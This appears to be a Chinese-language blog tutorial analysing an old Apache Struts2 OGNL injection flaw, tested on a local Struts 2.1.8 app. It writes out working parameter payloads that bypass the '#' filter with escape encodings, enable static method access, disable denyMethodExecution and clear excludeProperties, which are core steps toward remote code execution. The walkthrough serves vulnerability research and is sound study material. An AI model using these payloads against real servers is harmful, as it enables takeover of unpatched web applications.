首先,這個漏洞已經是比較早的一個了,大概影響范圍是struts2.2.1.1以下版本(這個其實是不對的),其次值得參考的參考的網上公開資料有
http://security.ctocio.com.cn/100/11466600.shtml
這是我看過的唯一的一篇對這個漏洞有一定深入講解的文章。
http://www.securityfocus.com/archive/1/521121
這個是一個發散的文章,指出了struts2的高版本的一些人在持續的問題,其中很多都是高危的。
這是一個很關鍵的網站,在這里你可以直接下載到不同的struts2的版本,以及其中用到的xwork,ognl的jar包以及源代碼和api文檔。只有自己重現了這個,才可以深入研究struts2的版本演化。
其次struts2的這個漏洞的實質是ognl的靈活表達問題,我們在struts2中的自動填充變量(就是我們習慣的get,set,而不用手動再繁瑣的request.getParmeter())。但是ognl的能力遠超這些,他可以在變量及賦值過程訪問上下文變量,執行java靜態方法,甚至于新建java對象,及調用對應方法。
struts2的漏洞就是緣于此。
http://commons.apache.org/ognl/language-guide.html
這個是ognl的官網,在這里能看到不少這個ognl的表達式的介紹。
下來開始測試,
我首先選擇的是struts2.1.18版本這是一個簡單的賦值測試,目的是改變context中的
43_memberAccess['allowStaticMethodAccess']=true,這個事webwork中很重要的一個參數,他決定了你是否可以在ognl表達式中使用靜態方法,這個在后面的使用中十分重要。
http://localhost:8080/sr218/ice.action?#_memberAccess['allowStaticMethodAccess']=true
實際上這句話并不能很好的完成工作,因為struts2中的xwork過濾掉了#,這里就是這個漏洞的起始點,雖然他過濾掉了#
但是我們可以使用\u0020 \43 \043 ,分別是16進制的unicode編碼,8進制的編碼這三種方式繞過對#的過濾
http://localhost:8080/sr218/ice.action?\43_memberAccess['allowStaticMethodAccess']=true
但是如果這樣依舊會有問題,會產生無法解析的語法樹,因為\43這樣的他是直接無法解析的,需要用'號括起來
http://localhost:8080/sr218/ice.action?'\43_memberAccess[\'allowStaticMethodAccess\']'=true
由于外層有了單引號,所以內層也要對單引號做轉義。這樣的語句就可以正常生成ast樹了
接下來問題實際上是現在這樣仍然無法識別出#_memberAccess['allowStaticMethodAccess'],所以這里才用了個小技巧,構造了復雜一些的ast樹
('\43_memberAccess[\'allowStaticMethodAccess\']')(a)
這樣的ast樹實際上是有兩個節點,
('\43_memberAccess[\'allowStaticMethodAccess\']')(b)=true
然后賦值就可以了,這里我覺得之所以需要構建2層語法樹,實質上是和轉義有關的。
http://localhost:8080/sr218/ice.action?('\43_memberAccess[\'allowStaticMethodAccess\']')(b)=true
這就是對
當然我們還有另一種寫法
http://localhost:8080/sr218/ice.action?('\43_memberAccess.allowStaticMethodAccess')(b)=true
這樣的寫法也是可以的,而且比較簡潔,就看你怎么選了
除了#_memberAccess.allowStaticMethodAccess'是一個關鍵屬性外,'xwork.MethodAccessor.denyMethodExecution’是另一個關鍵屬性,意義如同名字,這個屬性決定了是否可以執行方法,只有當這個屬性為false時,我們才可以利用ognl自定義變量,調用一些關鍵的方法 例如FileWriter的append方法。
xwork.MethodAccessor.denyMethodExecution和#_memberAccess.allowStaticMethodAccess'的區別在于#_memberAccess.allowStaticMethodAccess'是一個context中的屬性,而xwork.MethodAccessor.denyMethodExecution則是value hashmap中的一項,這就決定了對這個變量的覆蓋不同于上一個方法。
如果采用第一種方法去覆蓋的話,查看內存中,xwork.MethodAccessor.denyMethodExecution=java.lang.StringXXX大概是個這么個東西
而我們希望的是覆蓋完變成
xwork.MethodAccessor.denyMethodExecution=false這樣的形式
解決方案:
&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))
實際上就是
#context['xwork.MethodAccessor.denyMethodExecution']=false
放到了一個ast的樹枝中,注意,要放到第三層,才能保證解析正確
這個是有人給出的解決方案。 http://www.tengsu.com/school/top/2011/school_4595_4.html
同樣他指出了在xwork 2.1.2.jar中存在bug,大家可以看看他的文章,最終他給出了解決思路,就是在不利用靜態方法的情況下,想辦法覆蓋掉excludeProperties
同樣這個不能采用和第一個一樣的方法覆蓋,那樣只能得到字符串。應采用和第二個類似的方法覆蓋掉
我就直接放答案了,大家可以自己試試,這個只有在xwork2.1.2中才必須加上這句,以后版本加了也不算錯,不過沒什么效果
&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))
更多文章、技術交流、商務合作、聯系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
